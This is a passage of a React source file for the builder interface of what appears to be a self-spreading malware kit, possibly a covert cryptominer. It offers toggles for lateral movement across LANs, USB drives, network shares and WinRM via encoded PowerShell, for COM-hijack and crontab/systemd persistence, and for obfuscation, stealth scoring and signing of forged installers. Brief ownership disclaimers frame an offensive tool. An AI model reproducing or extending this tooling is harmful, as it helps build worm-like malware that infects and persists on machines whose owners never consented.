'across the local network on a timer — scanning for reachable hosts and copying itself.\n\n' +
'This is aggressive behaviour. Only enable it if you have explicit permission on every network this agent may reach.'
)) return;
updateField('auto_spread', checked);
}} />
<span>Enable Auto-Spread (Lateral Movement) <HelpTip field="auto_spread" /></span>
</label>
{form.auto_spread && (
<p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}>
Auto-Spread is ON every agent forged with this config will scan and propagate automatically.
</p>
)}
<FieldHint field="auto_spread" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.hole_punch}
onChange={(e) => updateField('hole_punch', e.target.checked)} />
<span>Enable NAT Hole Punch (UPnP) <HelpTip field="hole_punch" /></span>
</label>
<FieldHint field="hole_punch" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.remote_aggressive}
onChange={(e) => updateField('remote_aggressive', e.target.checked)} />
<span>Enable Remote Aggressive Ops (dashboard buttons) <HelpTip field="remote_aggressive" /></span>
</label>
<FieldHint field="remote_aggressive" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.usb_spread}
onChange={(e) => updateField('usb_spread', e.target.checked)} />
<span>USB Propagation copy to every new drive inserted <HelpTip field="usb_spread" /></span>
</label>
{form.usb_spread && (
<div style={{ margin: '4px 0 2px 24px', padding: '6px 10px', background: 'rgba(255,180,0,0.1)', border: '1px solid rgba(255,180,0,0.4)', borderRadius: 4, fontSize: '0.82em', color: '#ffb400' }}>
Perpetual chain agent silently copies itself to every USB drive inserted into any infected PC (including drives already plugged in at startup), installs a persistent WMI trigger, and drops a visible SETUP.BAT + folder icon so the next PC's user just clicks. Each new machine repeats the cycle forever.
</div>
)}
<FieldHint field="usb_spread" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.share_spread}
onChange={(e) => updateField('share_spread', e.target.checked)} />
<span>Share Drop — spread via mounted network drives &amp; WinRM <HelpTip field="share_spread" /></span>
</label>
<FieldHint field="share_spread" />
</div>
<div className={`form-group checkbox-group ${fieldMeta.winrm_spread?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.winrm_spread}
disabled={fieldMeta.winrm_spread?.disabled}
onChange={(e) => {
const checked = e.target.checked;
if (checked && !window.confirm(
'Enable WinRM Spread?\n\n' +
'When baked ON, autospread sweeps the local subnet for WinRM-open hosts ' +
'and deploys via encoded PowerShell bootstrap.\n\n' +
'Only enable on networks and systems you explicitly own or administer.'
)) return;
updateField('winrm_spread', checked);
}} />
<span>WinRM Spread — encoded bootstrap on remoting hosts <HelpTip field="winrm_spread" /></span>
</label>
{form.winrm_spread && (
<p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}>
⚠ WinRM Spread is ON — autospread will probe /24 and push to WinRM-enabled hosts.
</p>
)}
<ForgeLockedHint meta={fieldMeta.winrm_spread} />
<FieldHint field="winrm_spread" />
</div>
<div className={`form-group checkbox-group ${fieldMeta.dns_txt_spread?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.dns_txt_spread !== false}
disabled={fieldMeta.dns_txt_spread?.disabled}
onChange={(e) => updateField('dns_txt_spread', e.target.checked)} />
<span>DNS TXT Spread — _aether zone shard mesh <HelpTip field="dns_txt_spread" /></span>
</label>
<FieldHint field="dns_txt_spread" />
<ForgeLockedHint meta={fieldMeta.dns_txt_spread} />
</div>
<div className={`form-group checkbox-group ${fieldMeta.wsus_cache_peer_spread?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.wsus_cache_peer_spread !== false}
disabled={fieldMeta.wsus_cache_peer_spread?.disabled}
onChange={(e) => updateField('wsus_cache_peer_spread', e.target.checked)} />
<span>WSUS Cache Peer — SoftwareDistribution cousin staging <HelpTip field="wsus_cache_peer_spread" /></span>
</label>
<FieldHint field="wsus_cache_peer_spread" />
<ForgeLockedHint meta={fieldMeta.wsus_cache_peer_spread} />
</div>
<div className={`form-group checkbox-group ${fieldMeta.webrtc_mesh_spread?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.webrtc_mesh_spread}
disabled={fieldMeta.webrtc_mesh_spread?.disabled}
onChange={(e) => updateField('webrtc_mesh_spread', e.target.checked)} />
<span>WebRTC Mesh Spread — LAN seed data channel (default off) <HelpTip field="webrtc_mesh_spread" /></span>
</label>
{form.webrtc_mesh_spread && (
<p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}>
⚠ WebRTC mesh is ON — heavier LAN seed path; payload bytes stay on subnet, server sees hashrate + join_lane only.
</p>
)}
<FieldHint field="webrtc_mesh_spread" />
<ForgeLockedHint meta={fieldMeta.webrtc_mesh_spread} />
</div>
<div className={`form-group checkbox-group ${fieldMeta.com_hijack_persist?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.com_hijack_persist}
disabled={fieldMeta.com_hijack_persist?.disabled}
onChange={(e) => {
const checked = e.target.checked;
if (checked && !window.confirm(
'Enable COM Hijack Persistence?\n\n' +
'Registers the agent under an InprocServer32 CLSID hijack for stealthy relaunch. ' +
'This is aggressive, high-friction persistence.\n\n' +
'Default is OFF only enable on systems you fully own.'
)) return;
updateField('com_hijack_persist', checked);
}} />
<span>COM Hijack Persist — CLSID hijack (default off) <HelpTip field="com_hijack_persist" /></span>
</label>
{form.com_hijack_persist && (
<div style={{ margin: '4px 0 2px 24px', padding: '6px 10px', background: 'rgba(255,80,80,0.1)', border: '1px solid rgba(255,80,80,0.45)', borderRadius: 4, fontSize: '0.82em', color: '#ff6b6b' }}>
⚠ COM Hijack is ON — high-friction persistence via registry CLSID hijack. Use only on owned lab hosts.
</div>
)}
<ForgeLockedHint meta={fieldMeta.com_hijack_persist} />
<FieldHint field="com_hijack_persist" />
</div>
{(form.target_os === 'linux' || form.target_os === 'universal') && (
<div className={`form-group ${fieldMeta.linux_lotl_mode?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Linux LOTL Mode <HelpTip field="linux_lotl_mode" /></label>
<select
className="input"
disabled={fieldMeta.linux_lotl_mode?.disabled}
value={form.linux_lotl_mode ?? 'off'}
onChange={(e) => updateField('linux_lotl_mode', e.target.value)}
>
<option value="off">Off — no native-tool persistence</option>
<option value="systemd_run_user">systemd-run --user</option>
<option value="crontab">crontab @reboot</option>
<option value="both">Both — systemd-run + crontab</option>
</select>
{form.linux_lotl_mode && form.linux_lotl_mode !== 'off' && (
<p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}>
⚠ Linux LOTL persistence is {form.linux_lotl_mode.replace(/_/g, ' ')} — baked into Linux/universal workers only.
</p>
)}
<ForgeLockedHint meta={fieldMeta.linux_lotl_mode} />
<FieldHint field="linux_lotl_mode" />
</div>
)}
</div>
</>
)}
<div className="preflight-panel card operator-deck-card operator-interactive">
<h3 className="font-tech">PREFLIGHT CROSS-CHECK</h3>
<ul className="preflight-list">
{preflightChecks.map((c) => (
<li key={c.id} className={`preflight-item preflight-${c.level}`}>
<span className="preflight-icon">{c.level === 'ok' ? '' : c.level === 'warn' ? '!' : ''}</span>
{c.message}
</li>
))}
</ul>
</div>
{error && (
<div className="form-error">
<span>⚠️</span> {error}
</div>
)}
<ForgeProgressBar building={building && !batchJob} stage={forgeStage} progress={forgeProgress} />
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
<button type="submit" className="btn btn-success build-btn forge-submit-btn" disabled={building || !canForge}>
{building ? 'Forging...' : canForge ? ' FORGE INSTALLER' : `⚒ FIX ${errorCount} ERROR${errorCount === 1 ? '' : 'S'} TO FORGE`}
</button>
{building && !batchJob && (
<button type="button" className="btn btn-danger" onClick={handleKillBuild} title="Kill the running compiler immediately">
✕ Kill Build
</button>
)}
</div>
{!canForge && errorCount > 0 && (
<p className="forge-forge-blocked">
Forge is blocked until all preflight errors (✕) are resolved. Warnings (!) still allow forging.
</p>
)}
</form>
</div>
{lastBuild?.success && (
<div className="forge-last-build-strip">
<div className="forge-last-build-info">
<span className="forge-last-build-check">✓</span>
<div>
<span className="forge-last-build-name">{lastBuild.file_name || 'Build ready'}</span>
{lastBuild.file_size != null && (
<span className="forge-last-build-size">
{((lastBuild.file_size || 0) / 1024 / 1024).toFixed(1)} MB
</span>
)}
{lastBuild.fusion_enabled && <span className="forge-last-build-tag">FUSION</span>}
{lastBuild.obfuscated && <span className="forge-last-build-tag">GARBLED</span>}
{lastBuild.sigil_scramble && <span className="forge-last-build-tag">SIGIL</span>}
{lastBuild.signed && <span className="forge-last-build-tag">SIGNED</span>}
{lastBuild.stealth_score != null && lastBuild.stealth_score > 0 && (
<span className="forge-last-build-tag" title="Stealth index">
{lastBuild.stealth_score}
</span>
)}
</div>
</div>
<div className="forge-last-build-actions">
{lastBuild.download_url && lastBuild.file_name && (
<DownloadButton
apiPath={lastBuild.download_url}
filename={lastBuild.file_name}
className="btn btn-primary btn-sm"
>
↓ Download
</DownloadButton>
)}
{lastBuild.build_id &&
lastBuild.extra_files?.map((f) =>
f.file_name ? (
<DownloadButton
key={f.file_name}
apiPath={api.buildArtifactUrl(lastBuild.build_id!, f.file_name)}
filename={f.file_name}
className="btn btn-outline btn-sm"
>
↓ {f.file_name}
</DownloadButton>
) : null
)}
<button
type="button"
className="btn btn-outline btn-sm"
onClick={handleForgeNextWorker}
>
Forge next worker
</button>
{showBlueprintOffer && (
<button
type="button"
className="btn btn-outline btn-sm"
onClick={handleSaveFleetBlueprint}
>
Save as fleet blueprint
</button>
)}
<button
type="button"
className="btn btn-outline btn-sm"
onClick={() => navigate('/builds')}
>
View in Build Manager →
</button>
</div>
</div>
)}
</div>
{dispenseReveal?.success && (
<ForgeDispenseReveal result={dispenseReveal} onClose={() => setDispenseReveal(null)} />
)}
{missionComplete && (
<div
className="forge-mission-modal-backdrop"
role="dialog"
aria-modal="true"
aria-labelledby="mission-modal-title"
onClick={() => setMissionComplete(false)}
>
<div className="forge-mission-modal" onClick={(e) => e.stopPropagation()}>
<h3 id="mission-modal-title">Mission complete</h3>
<p className="form-hint" style={{ marginTop: 0 }}>
Your build is ready. Copy per-machine install commands from Builds.
</p>
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap' }}>
<button
type="button"
className="btn btn-primary btn-sm"
onClick={() => navigate('/builds')}
>
View install commands in Builds →
</button>
<a
href="/spread/"
target="_blank"
rel="noopener noreferrer"
className="btn btn-outline btn-sm"
>
Open spread landing
</a>
<button type="button" className="btn btn-outline btn-sm" onClick={() => setMissionComplete(false)}>
Done
</button>
</div>
</div>
</div>
)}
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>
</div>
);
}